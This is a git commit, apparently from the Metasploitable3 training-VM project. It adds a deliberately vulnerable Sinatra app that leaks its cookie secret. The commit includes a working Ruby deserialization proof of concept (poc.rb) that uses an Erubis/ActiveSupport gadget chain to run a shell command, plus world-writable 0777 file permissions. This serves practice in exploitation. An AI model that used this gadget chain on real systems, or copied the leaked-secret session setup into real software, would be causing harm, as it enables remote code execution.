Add Sinatra Leaked Secret Deserialization Vulnerability

This commit is contained in:
wchen-r7 2017-03-31 17:15:04 -05:00
parent 5d36ad0306
commit 1b21911005
8 changed files with 197 additions and 1 deletions

3
Vagrantfile vendored
View File

@ -11,7 +11,7 @@ Vagrant.configure("2") do |config|
win2k8.vm.network "private_network", type: "dhcp"
# Install Chocolatey
config.vm.provision :shell, path: "scripts/installs/chocolatey.cmd"
#config.vm.provision :shell, path: "scripts/installs/chocolatey.cmd"
config.vm.provision :reload # Hack to reset environment variables
# Install BoxStarter
@ -157,6 +157,7 @@ Vagrant.configure("2") do |config|
chef.add_recipe "metasploitable::phpmyadmin"
chef.add_recipe "metasploitable::proftpd"
chef.add_recipe "metasploitable::users"
chef.add_recipe "metasploitable::sinatra"
end
end
end

View File

@ -0,0 +1,6 @@
source 'https://rubygems.org'
gem 'rack', '1.6.5'
gem 'sinatra', '1.4.8'
gem 'erubis'
gem 'erubis'
gem 'activesupport'

View File

@ -0,0 +1,31 @@
==============
Description
==============
This application is vulnerable to a deserialization vulnerability due to a
compromised session secret.
Since this is a custom application, the Metasploitable player is required to
figure out what the secret is (remotely, not through code reading), and write
an exploit from scratch.
For development purposes, you can use the following scripts to test the
vulnerable service:
* check.rb - This will check if the application is vulnerable.
* poc.rb - This will attempt to exploit the application. It will create a
file named /tmp/your_id.txt
==============
Usage
==============
To start the vulnerable application, first do:
$ bundle install
And then finally:
$ ruby start.rb
The server should start on port 8080.

View File

@ -0,0 +1,26 @@
#!/usr/bin/env ruby
#
# This will check our vulnerable app to see if it's vulnerable or not.
# It does so by predicting the hash in the cookie.
#
require 'openssl'
require 'cgi'
require 'net/http'
SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
cli = Net::HTTP.new('127.0.0.1', 8080)
req = Net::HTTP::Get.new('/')
res = cli.request(req)
cookie = res['Set-Cookie'].scan(/_metasploitable=(.+); path/).flatten.first || ''
data, hash = cookie.split('--')
puts "[*] Found hash: #{hash}"
puts "[*] Attempting to recreate the same hash with secret: #{SECRET}"
expected_hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, CGI.unescape(data))
puts "[*] Predicted hash: #{expected_hash}"
if expected_hash == hash
puts "[*] Yay! we can predict the hash. The server is vulnerable."
end

View File

@ -0,0 +1,34 @@
#!/usr/bin/env ruby
#
# This PoC will inject Ruby code in our vulnerable app.
# It will run the system command "id", and save the output in /tmp/your_id.txt
#
require 'openssl'
require 'cgi'
require 'net/http'
SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "%x(id > /tmp/your_id.txt); 1"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"
session = { 'session_id' => '', 'exploit' => proxy }
dump = [ Marshal.dump(session) ].pack('m')
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
cookie = "_metasploitable=#{CGI.escape("#{dump}--#{hmac}")}"
http = Net::HTTP.new('127.0.0.1', 8080)
req = Net::HTTP::Get.new('/')
req['Cookie'] = cookie
res = http.request(req)
puts "Done"

View File

@ -0,0 +1,21 @@
#! /bin/sh
### BEGIN INIT INFO
# Provides: sinatra
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Sinatra
# Description: This file starts the sinatra service
#
### END INIT INFO
case "$1" in
start)
/opt/sinatra/start.rb
;;
*)
echo "Usage: start {start}" >&2
exit 3
;;
esac

View File

@ -0,0 +1,26 @@
#!/usr/bin/env ruby
require 'sinatra'
require 'erubis'
require 'active_support'
MYSECRET = 'a7aebc287bba0ee4e64f947415a94e5f'
set :environment, :development
set :bind, '0.0.0.0'
set :port, 8080
use Rack::Session::Cookie,
:key => "_metasploitable",
:path => "/",
:expire_after => 1800,
:secret => MYSECRET
get '/' do
val = "Shhhhh, don't tell anybody this cookie secret: #{MYSECRET}"
session['_metasploitable'] = val unless session['_metasploitable']
body = "Welcome to Metasploitable3 - Linux edition.<br>"
body << "If you exploit this application, you will be handsomely rewarded."
[200, {}, body]
end

View File

@ -0,0 +1,51 @@
#
# Cookbook:: sinatra
# Recipe:: sinatra
#
# Copyright:: 2017, Rapid7, All Rights Reserved.
#
#
include_recipe 'metasploitable::sinatra'
apt_repository 'rvm' do
uri 'ppa:rael-gc/rvm'
end
package 'rvm'
bash 'run rvm.sh' do
code <<-EOH
source /etc/profile.d/rvm.sh
rvmsudo rvm install ruby-2.3.1
rvm --default use 2.3.1
gem install bundler
EOH
end
directory '/opt/sinatra' do
mode '0777'
end
['Gemfile', 'README.txt', 'check.rb', 'poc.rb', 'start.rb'].each do |fname|
cookbook_file "/opt/sinatra/#{fname}" do
source "sinatra/#{fname}"
mode '0777'
end
end
bash 'bundle install sinatra' do
code <<-EOH
cd /opt/sinatra
bundle install
EOH
end
cookbook_file '/etc/init.d/sinatra' do
source 'sinatra/sinatra.sh'
mode '0777'
end
service 'sinatra' do
action [:enable, :start]
end